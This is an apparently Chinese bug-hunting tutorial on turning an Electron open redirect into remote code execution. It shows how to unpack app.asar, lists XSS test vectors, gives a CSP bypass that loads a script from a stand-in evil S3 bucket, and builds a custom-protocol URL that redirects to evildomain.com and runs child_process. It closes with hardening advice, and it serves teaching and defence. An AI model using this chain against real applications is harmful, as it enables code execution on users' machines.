挖洞经验 | 芝麻开门:从Electron开放重定向到应用程序RCE提权
字数 1230 2025-08-15 21:31:48
Electron应用安全测试:从开放重定向到RCE提权
1. 漏洞背景与Electron安全概述
Node.js及其生态框架(如Electron)的安全特性:
- Electron应用本质上是简化版的Node.js环境应用
- 将路径和模板化方式转移到客户端前端的设计模式
- 攻击者可利用API端点或未混淆的数据信息
- 常见漏洞模式:XSS → RCE提权链
Electron应用特有的安全风险:
- 反编译过程简单(相比传统二进制应用)
- 默认使用asar打包格式(易于解包分析)
- nodeIntegration配置问题(默认开启风险)
- 预加载脚本(preload)可能引入安全问题
2. 白盒测试准备
2.1 源码提取步骤
- 访问Application文件夹
- 右击应用程序 → "Show Package Contents"
- 进入Contents目录找到app.asar文件
- 执行解包命令:
npx asar extract app.asar source - 分析生成的source文件夹中的源码
2.2 关键配置检查
检查package.json中的主入口文件:
{
"main": "app/index.js"
}
检查BrowserWindow创建时的webPreferences配置:
const appWindow = createWindow('main', {
width: 1080,
height: 660,
webPreferences: {
nodeIntegration: true, // 高风险配置
preload: path.join(__dirname, 'preload.js')
}
});
3. 漏洞发现与分析
3.1 nodeIntegration安全问题
风险表现:
- 允许窗口中的JS脚本访问Node.js函数
- 可导入危险模块如child_process
- 典型RCE利用方式:
require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator', function(){})
3.2 XSS漏洞挖掘技巧
测试方法:
- 代理流量分析:
electron . --proxy-server=127.0.0.1:8080 - 在所有用户输入点测试HTML Payload
- 使用基础测试向量:
<b>pwned</b> <script>alert()</script> <svg onload=alert()>
3.3 绕过CSP限制
案例中的CSP策略:
Content-Security-Policy:
script-src 'self' 'unsafe-eval'
https://cdn.heapanalytics.com
https://heapanalytics.com
https://*.s3.amazonaws.com
https://fast.appcues.com
https://*.firebaseio.com
绕过方法:
- 利用通配符域名(如*.s3.amazonaws.com)
- 使用iframe的srcdoc属性:
<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>
3.4 require函数重命名问题
preload.js中的关键代码:
window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;
调整后的利用方式:
window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator', function(){})
4. 开放重定向到RCE的完整利用链
4.1 开放重定向漏洞
原始漏洞形式:
https://collabapplication.com/redirect.jsp?next=//evil.com
4.2 自定义协议处理风险
应用程序注册的自定义URL协议:
collabapp://collabapplication.com?meetingno=123&pwd=abc
白名单检查函数:
function isWhitelistedDomain(url) {
var allowed = ['collabapplication.com'];
var test = extractDomain(url);
if (allowed.indexOf(test) > -1) return true;
return false;
}
4.3 完整利用链构造
- 利用开放重定向构造恶意URL:
collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html - evil.html中包含恶意脚本:
<script> window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator', function(){}) </script>
5. 防御措施与安全建议
5.1 Electron安全配置
- 禁用nodeIntegration:
nodeIntegration: false - 如需Node功能,使用contextIsolation和预加载脚本:
contextIsolation: true, preload: path.join(__dirname, 'preload.js')
5.2 CSP策略强化
推荐配置:
- 避免使用通配符域名
- 禁用unsafe-eval
- 限制脚本来源为严格白名单
5.3 其他防护措施
- 输入验证与输出编码
- 自定义协议处理的安全检查
- 禁用或限制开发者工具访问
- 定期安全审计与渗透测试
6. 工具与资源
有用工具:
- Webpack Exploder:反编译Webpacked的React应用
- asar:Electron应用解包工具
- Burp Suite:流量分析与拦截
学习资源:
- Electron安全文档
- OWASP Node.js安全指南
- 常见Electron漏洞模式研究